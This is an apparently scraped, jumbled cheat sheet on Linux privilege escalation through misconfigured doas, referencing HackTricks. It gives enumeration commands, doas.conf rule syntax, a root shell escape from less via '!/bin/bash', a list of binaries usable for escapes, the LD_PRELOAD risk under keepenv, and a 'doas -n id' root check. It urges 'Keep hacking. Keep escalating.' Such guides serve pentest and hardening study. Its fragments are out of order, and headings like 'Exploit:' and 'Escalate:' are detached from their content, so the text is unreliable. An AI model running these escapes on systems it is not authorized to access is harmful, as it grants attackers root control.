#!/bin/sh doas /usr/bin/chown user "$1" Exploit:
— HackTricks Want more? Check out the HackTricks Linux Privilege Escalation guide for deeper dives.
Unlike sudo , there’s no PAM, no plugin system, no logging madness — just permission rules. which doas command -v doas doas -V If installed, check the config:
cat /etc/doas.conf permit|deny [options] identity as target cmd [args] Examples:
permit user1 as root cmd /usr/bin/less doas less /etc/hosts # then type: !/bin/bash Known binaries for escapes: less , more , vi , vim , nano , awk , find , man , git , tmux , screen , ftp , irb , lua , perl , python , ruby , scp , tar . If keepenv is set, doas keeps LD_PRELOAD , LD_LIBRARY_PATH , PYTHONPATH , etc.
Keep hacking. Keep escalating.
permit nopass user1 as root Check:
Example script:
doas -n id # uid=0(root) gid=0(root) Escalate: